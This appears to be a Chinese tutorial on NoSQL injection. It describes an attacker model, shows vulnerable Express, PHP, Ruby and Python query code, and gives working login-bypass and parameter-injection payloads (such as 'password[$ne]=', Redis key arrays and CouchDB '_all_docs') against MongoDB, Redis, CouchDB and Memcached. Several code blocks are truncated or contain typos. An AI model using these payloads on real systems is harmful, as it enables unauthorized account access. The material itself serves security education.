文章目录
SCOPE
数据库 | 数据类型 | 排名 |
---|---|---|
mongoDB | 文档存储 | 5. |
redis | 键值对存储 | 9. |
memcached | 键值对存储 | 23. |
CouchDB | 文档存储 | 26. |
node,php,python,ruby等通常使用NoSql数据库,为了更好的利用NoSql注入,需要部署对应的环境来进行测试。
攻击模型
环境
- 攻击者需要了解目标应用部署的技术栈,包括应用服务器、驱动、框架和数据库;
- 攻击者可以在已授权的正常用户中向服务器端发送任意请求;
目标
- 修改查询参数, 使数据库执行额外的查询;
- 可以触发意外的CRUD操作;
总览
NoSql注入 - 攻击者
- 了解非结构化数据查询语言
- 具有多个数据库环境的多样化操作系统
- 客户端通过RESTfull接口访问数据库
注入攻击
已知漏洞
- PHP,NodeJs + MongoDB:登陆绕过
- 字符串连接依然是json和script参数的问题(读取配置)
- 逃避驱动,如:Memcached
MongoDB 登陆绕过
nodejs 登陆绕过1
2
3
4
5// NodeJS with Express.js - 后台代码
db.collection("users").find({
"user": req.query.user,
"password": req.query.password
});
正常登陆链接: https://example.org/login?user=patrick&password=1234
exp: https://example.org/login?user=patrick&password[%24ne]=
1 | // NodeJS with Express.js - 后台代码 |
其他语言类似代码:1
2
3
4
5// PHP
$collection->find(array(
'user' => $_GET['user'],
'password' => $_get['password']
));
1 | # Ruby on Rails |
1 | # Python with Django |
post请求注入1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# json data
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 38
{'user': 'patrick', 'password': {'>': ''}}
# form data
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 29
user=Patrick&password[%24ne]=
Redis 参数重写注入
1 | // NodeJS with Express.js |
通过注入数组重写所有的参数, 只有NodeJS的Redis驱动受影响。payload: …/expire?key[]=foo&key[]=1117542887
CounchDB 登陆绕过
注入selector查询条件绕过登陆1
2
3
4
5
6
7
8// NodeJS with Express.js
function checkCredentials(user, password, callback) {
var options = {'selector': {'user': user, 'password': password}};
couch.use('users').get('_find', options, (err, res) => {
callback(res.docs.length === 1);
});
}
checkCredentials(req.query.user, req.query.password, handleResult);
payload: login?user=patrick&password[%24ne]=
使用特殊的文档__all_docs
和未定义的password绕过登陆1
2
3
4
5
6
7
8// NodeJS with Express.js
function checkUser(user, password, callback) {
nano.use('users').get(user, (err, res) => {
callback(res.password === password);
});
}
checkUser(req,query.user, req.query.password, handleResult);
payload: https://example.org/login?user=_all_docs
Memcached 数组注入
数组注入绕过应用层检查1
2
3
4
5
6
7
8
9
10
11function getCache(key) {
if (key.indexOf('auth_') === 0{
callback("Invalid key!");
} else{
memcached.get(key, (err, body) => {
callback(err || body);
}
}
}
getCache(req.query.key, handleResult);